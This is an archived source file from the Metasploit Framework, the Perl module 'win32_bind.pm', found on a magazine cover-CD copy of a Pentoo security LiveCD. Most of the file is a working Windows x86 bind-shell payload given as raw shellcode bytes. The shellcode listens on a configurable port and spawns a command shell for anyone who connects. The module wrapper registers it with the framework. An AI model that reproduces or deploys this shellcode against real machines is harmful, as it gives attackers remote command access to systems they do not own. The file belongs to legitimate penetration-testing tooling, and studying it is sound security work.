home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / win32_bind.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  2.7 KB  |  83 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::win32_bind;
  11.  
  12. use strict;
  13. use base 'Msf::PayloadComponent::Windows::Payload';
  14.  
  15. my $info =
  16. {
  17.     'Name'         => 'Windows Bind Shell',
  18.     'Version'      => '$Revision: 1.31 $',
  19.     'Description'  => 'Listen for connection and spawn a shell',
  20.     'Authors'      => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  21.     'Arch'         => [ 'x86' ],
  22.     'Priv'         => 0,
  23.     'OS'           => [ 'win32' ],
  24.     'Size'         => '',
  25.     'Payload' =>
  26.         {
  27.             Offsets => 
  28.                 { 
  29.                     'LPORT'    => [ 162, 'n' ], 
  30.                     'EXITFUNC' => [ 308, 'V' ] 
  31.                 },
  32.             Payload =>
  33.                 "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c".
  34.                 "\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b".
  35.                 "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01".
  36.                 "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
  37.                 "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f".
  38.                 "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb".
  39.                 "\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64".
  40.                 "\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
  41.                 "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53".
  42.                 "\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0".
  43.                 "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66".
  44.                 "\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
  45.                 "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
  46.                 "\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1".
  47.                 "\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51".
  48.                 "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53".
  49.                 "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
  50.                 "\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57".
  51.                 "\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d".
  52.                 "\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89".
  53.                 "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
  54.                 "\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff".
  55.                 "\x75\x44\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01".
  56.                 "\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53".
  57.                 "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
  58.                 "\xc4\x64\xff\xd6\x52\xff\xd0\x68\x7e\xd8\xe2\x73".
  59.                 "\x53\xff\xd6\xff\xd0",
  60.         },
  61. };
  62.  
  63. sub _Load 
  64. {
  65.     Msf::PayloadComponent::Windows::Payload->_Import('Msf::PayloadComponent::BindConnection');
  66. }
  67.  
  68. sub new 
  69. {
  70.     my $class = shift;
  71.     my $hash = @_ ? shift : { };
  72.     my $self;
  73.  
  74.     _Load();
  75.  
  76.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  77.     $self = $class->SUPER::new($hash, @_);
  78.  
  79.     return($self);
  80. }
  81.  
  82. 1;
  83.